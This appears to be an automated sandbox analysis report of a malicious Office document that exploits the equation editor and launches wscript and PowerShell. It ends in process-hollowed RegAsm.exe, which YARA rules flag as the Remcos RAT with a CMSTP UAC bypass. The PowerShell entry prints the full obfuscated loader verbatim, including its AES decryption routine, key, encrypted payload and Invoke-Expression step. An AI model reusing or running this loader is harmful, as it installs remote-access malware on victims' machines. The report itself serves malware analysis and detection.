4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f [TRUNCATED] Data Ascii: { "geoplugin_request":"8.46.123.33", "geoplugin_status":200, "geoplugin_delay":"1ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7123", "geoplugin_longitude":"-74.0068", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}

Target ID:	0
Start time:	07:08:22
Start date:	26/07/2024
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f990000
File size:	28'253'536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	4
Start time:	07:08:45
Start date:	26/07/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
Imagebase:	0x13f400000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	07:08:52
Start date:	26/07/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	07:08:53
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creatednewwaterbottleform.vBS"
Imagebase:	0x940000
File size:	141'824 bytes
MD5 hash:	979D74799EA6C8B8167869A68DF5204A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	07:08:54
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI68766530954276373206247047974663CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIdSLZBgRjPNZ/qocg/lH2aZHZ5Jl+3cjSG1p/+zzQRClxM6ERqs615j4oDskIGVeU9U0hKzWE2qLRhN3w3oPnP9D3zRR0BjWDDOAHuyfLsijMtAivmVqnjEhi75GYn/731w2sw2LX9rePUu8MuzZBPukpDJjP40wnUy5RXUPJoZQj2IJHLLwPLeWAVLyYam2ryxj+aZ147db0X48wxpHj1wzIXORWhGABOaWwaSlaHL3gmVyt1aXV7FBFES5QqtebxGfvLhl4iUZNYV88W0LKeIoUGNbEQFkzf13DC0Iby1tFcGdBD33I0Q+W2Tvg+5qcSyDt39hGQc+cPQJW6i+zS5PdayxMRwfx6SHZXH4Wqvwv1PSLLBL05m+vUyyZdWHee1jJZK1IYpJ679FIiTnjUqbP5xka/o9mFQDN8rr6+t3w5UZ8/qZmHx1mVRoEQQE9sfqxRdM4XzLD6zM0xvTyXDiPtOrir9Y56WYwILgvowZC7rtlCr5vnoqSqCeZ+TBUh3I8J+drjXQv5Li4WPY7XJzFYZPaPMsWDQEjc1bMNXhVQ0Ukf2iM7FfM7k6Nze4qwdaBy3eAeQAbrjji8e0i57J7CMED36TsJyhF0u03e/7/3gWxHIosnVfstQl9YchNNE0mcQpHtSiF3PXt9EE9Ulz//7YH3sp7ZQKed24Zy6boPjqU9Ryt/0qHB2CgOA9dDgikPiavuiSSZwbmMVP3wzAzgXN3nBCy0PstnP16FjfPsLfXhDA3NS1dtwaJQ0liDeM77UG2Ki38eJ/rruKe9qgo+FuHe0xchT8/Wf5NVYoxrcASiFgam2A+WOxlafeNmbR8szgcpCGnpZl/NgN6OssaRDn26lO+fP2jr2C/5Yc3McAo0Ld51WdEwKzWP8b1W57wqS7gMMfAyZ4qaXwBt0DPwXCDT4lDwrWOtFJtHKkrSrB29mx+ZSiTGJd4zwLYP4xGKn+mDlT0rPmQDAZM0Hkrfyo5dxlRZHsLsW0XCN3EuXI+4932vGm0QSE+1K4quce5wQtHb1zoJKShclZ3BMUvCdOwmEdkxUQXKG7DtjDx8uVaNsAElTRbqENfoYu9eWmyI9LzKR9oZNPS+COhZr5JHq9hpvTMcsOldartIGHZY80SQMOSaGVIgdyoyJGpNwdUZLlDYe8NYQDaAJUhcq27lHvZkYQVajhD3kDVJQbOIf1lYyaY52Jn1dHnhXGk0nluzd0ilXEHvzPHLaVeocoCd50UQJ+q1KgXN7gS2k+ZoaXgaMSw9ouBoVyLc2V04RD098/AS2dEb2//QHWXG3F0c50KqYP4QoW398pQnbg4M4pJz0UIDlflEkkDinQrkxq/DRVpVBWz7wRUbde9F6yxo/vtkM0dGIR+Udwiy0EWC9HpU+MKlp45fqh0Pc7VyS3cHOu8E4FMallUVE4yfg==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)\|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
Imagebase:	0x140000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000A.00000002.437191072.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000A.00000002.437191072.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000A.00000002.437191072.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	12
Start time:	07:08:59
Start date:	26/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xac0000
File size:	64'704 bytes
MD5 hash:	8FE9545E9F72E460723F484C304314AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000C.00000002.1053711584.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000C.00000002.1053711584.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000C.00000002.1053711584.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000C.00000002.1053711584.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000000C.00000002.1053711584.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000C.00000002.1053847847.00000000004F1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false